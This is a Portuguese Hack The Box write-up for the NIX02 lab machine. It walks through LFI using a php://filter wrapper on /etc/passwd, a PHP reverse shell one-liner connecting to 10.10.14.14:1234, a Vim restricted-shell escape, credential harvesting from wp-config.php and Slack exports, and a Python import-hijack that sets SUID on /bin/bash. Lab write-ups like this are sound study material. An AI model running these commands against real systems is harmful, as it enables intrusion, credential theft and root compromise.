HTB - WRITE Up - PHP Wrapper to Reverse Shell (NIX02)
LFI com PHP Wrapper
A falha de LFI permite ler arquivos internos no servidor. Ao encontrar essa falha em um servidor Linux, é comum ler o arquivo /etc/passwd. No caso do servidor NIX02, a leitura pode ser feita diretamente ou através do filtro do PHP Wrapper e a conversão dos dados para Base64.
php=//filter/read=convert.base64-encode/resource=/etc/passwd
A busca por um método para executar a conexão reversa a partir da falha LFI, me levou a um artigo em Chines acessível AQUI e ao script para executar a shell reversa com o PHP Wrapper. Para entender como o exploit foi criado é necessário saber que o filtro do PHP Wrapper pode converter caracteres em diversos formatos. O que permite essa funcionalidade é o parametro iconv*.
O que acontece na exploração dessa falha é a inserção do código PHP da shell reversa antes do arquivo /etc/passwd.
Código da Shell Reversa em PHP
php -r '$sock=fsockopen("10.10.14.14",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
O script faz a conversão dos caracteres aplicando diversos filtros até o resultado final. O site Hack Tricks diponibiliza o script para explorar o LFI com PHP Wrapper e executar um RCE ou o código da shell reversa.
Para executar o exploit no laboratório, optei por inserir o código da shell reversa na requisição interceptada pelo Burp Suite. No entanto, é possível inserir o código diretamente no script, fazendo o tratamento adequado com o encode para URL. Usei o encode URL deste site AQUI
Conexão estabelecida.
A partir dessa conexão foi possível localizar as credenciais do usuário Margaret no arquivo wp-config.php e acessar o servidor diretamente pelo SSH.
Escape do Shell Restrito
Ao acessar o servidor, o terminal é restrito e só alguns comandos são permitidos. Para realizar o bypass e habilitar o terminal completo usei o utilitário Vim. Ao acessar o Vim, basta digitar os seguintes comandos:
:set shell=/bin/bash
:shell
O próximo passo é fazer o reconhecimento interno do servidor. E ao usar o comando ls -all para visualizar os arquivos ocultos no diretório do usuário, localizei o diretório .config onde existe o diretório da ferramenta Slack.
Ao navegar pelos arquivos e diretórios da ferramenta, localizei no arquivo 2020-05-18.json o registro de uma conversa e a senha de um usuário. Esse arquivo está localizado em .config/Slack/exported_data/secure
A senha identificada pertence ao usuário Frank.
O próximo passo é continuar o reconhecimento interno e buscar meios para a escalação de privilégio.
No diretório do usuário Frank existe o arquivo apache_restart.py que é executado pelo root e o usuário atual não tem permissão de alterá-lo pois não está inserido no arquivo Sudoers.
Ao pesquisar um meio de fazer a escalação de privilégio a partir do script apache_restart.py, encontrei um método que usa a sequência de execução de um script Python para obter o acesso root.
Quando um script Python é executado, ele faz a importação de módulos, e essa importação segue a seguinte sequencia:
1 - Procura o módulo do import no diretório atual
2 - Procura o módulo nos caminhos da variável PYTHONPATH
3 - Procura na biblioteca lib no caminho de instalação do Python
A primeira opção nos beneficia e permite criar um arquivo com o nome do módulo importado pelo script, ou seja, um arquivo com o nome urllib, e dentro desse arquivo os comandos para adicionar ao terminal do usuário o SUID para execução como root.
import os
os.system('chmod +s /bin/bash')
Depois basta chamar o terminal com o comando:
/bin/bash -p
E a escalação de privilégio está concluída.
Referências:
Comentários
Postar um comentário